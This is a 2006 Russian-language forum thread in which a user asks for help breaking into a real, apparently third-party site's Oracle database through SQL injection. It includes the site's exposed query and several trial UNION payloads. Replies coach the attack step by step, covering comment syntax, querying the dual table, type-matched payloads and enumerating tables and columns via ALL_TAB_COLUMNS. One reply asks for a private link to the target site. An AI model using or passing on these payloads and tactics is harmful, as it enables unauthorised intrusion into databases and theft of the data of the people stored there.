SQL injection в Oracl. Подскажите/помогите.

Discussion in 'PHP' started by m2infect, 2 Aug 2006.

  1. m2infect

    m2infect Elder - Старейшина

    Joined:
    20 Jun 2006
    Messages:
    34
    Likes Received:
    4
    Reputations:
    3
    Всем доброго дня/вечера/ночи!
    Хочу выполнить SQL injection. Но ТОЛЬКО! хотеть - этого мало, нужно УМЕТЬ!, посему создана эта тема.
    Сообственно ошибка.
    Code:
    [COLOR=MediumTurquoise][B]SELECT[/B][/COLOR] 
    c.clientss_id, c.clientss_name, nc.news_clientss_inf,
    TO_CHAR(nc.news_clientss_date, `DD.MM.YY`) news_date1,
    nc.news_clientss_inform, nc.news_clientss_id 
    [COLOR=MediumTurquoise][B]FROM[/B][/COLOR] 
    ANY.NEWS_CLIENTSS nc, ANY.clientss c 
    [COLOR=MediumTurquoise][B]where[/B] [/COLOR]
    c.clientss_id=nc.clientss_id and c.clientss_id=[COLOR=Red]33`[/COLOR]
    [COLOR=MediumTurquoise][B]ORDER BY[/B][/COLOR] 
    nc.news_clientss_date DESC
    Структура запроса.
    SELECT ....... FROM ........ where ............. ORDER BY
    Дописываю его.
    33 union select 1,2,3,4,5,6 from nc-
    таблица или представление пользователя не существует
    0 union select 1,2,3,4,5,6 from clients_name--
    таблица или представление пользователя не существует

    Пробывал множество вариантов, и если честно - встал в тупик.
    А особенно после этого.
    1 union select 1,2,3,4,7,6,7 from ANY.clientss c--
    в блоке запроса неверное число столбцов результата
    Если добавить/убрать столбцы - результат ош. не меняется. Ну это понятно почему.
    Далее...
    1 union select 1,2,3,4,7,`6` from ANY.clientss c--
    `6`: недопустимый идентификатор
    пишу
    1 union select 1,2,3,4,7,6 from ANY.clientss c--
    в ответ `NC`.`NEWS_CLIENTSS_DATE`: недопустимый идентификатор
    как так получилось? :confused: :mad:
    1 union select 1,2,3,4,7,6 from ANY.clientss where `1`=`1`--
    неверен реляционный оператор

    О иньк. в оракл мало что нашел.
    Что можно еще попробывать?
    Буду очень благодарен, за ссылки/подсказки.

    С уважением.
     
  2. ZaCo

    ZaCo Banned

    Joined:
    20 Jun 2005
    Messages:
    737
    Likes Received:
    336
    Reputations:
    215
    1) в скл-запросе к оракл-серверу все идет не одной строкой, поэтому коментирование \"--\" не корректно.
    2) сначала сделай from dual. когда сообщение об ошибке исчезнет попробуй обратиться к
    ALL_TAB_COLUMNS. ну а дальше попробуй вытащить table_name и column_name ;)
     
    1 person likes this.
  3. m2infect

    m2infect Elder - Старейшина

    Joined:
    20 Jun 2006
    Messages:
    34
    Likes Received:
    4
    Reputations:
    3
    Спасибо за ответ.

    1 union select 1,2,3,4,5,6 from dual
    `NC`.`NEWS_CLIENTS_DATE`: недопустимый идентификатор

    Почему? - ведь этот запрос уже был...
    Или так задуманно?
     
    #3 m2infect, 2 Aug 2006
    Last edited: 2 Aug 2006
  4. podkashey

    podkashey С крышкой по жизни!

    Joined:
    18 Jun 2005
    Messages:
    756
    Likes Received:
    351
    Reputations:
    353
    1) ZaCo правильно заметил - надо комментировать /*. При использовании union упорядочить (order by) можно только по номерам столбцов (например order by 1,3).
    2) Там 6 колонок всего или ты описался.
    3) При использовании union в Oracle типы столбцов должны совпадать.
    Должно сработать (перепиши для своего случая): union select 1, '1', to_date('01012005','ddmmyyyy') from dual/*
    Где первый столбец целые, второй строка, третий дата.
    Дальше как и сказал ZaCo - вытаскиваешь таблицы, столбцы итд. Если прав будет хватать конечно. ;)
    P.S. Оракл пишется Oracle ;)))
    P.P.S. Если не сложно, скинь в ПМ ссылку на сайт с оракл-инж. Не разу не видел просто
    Удачи!
     
    #4 podkashey, 4 Aug 2006
    Last edited: 4 Aug 2006
    1 person likes this.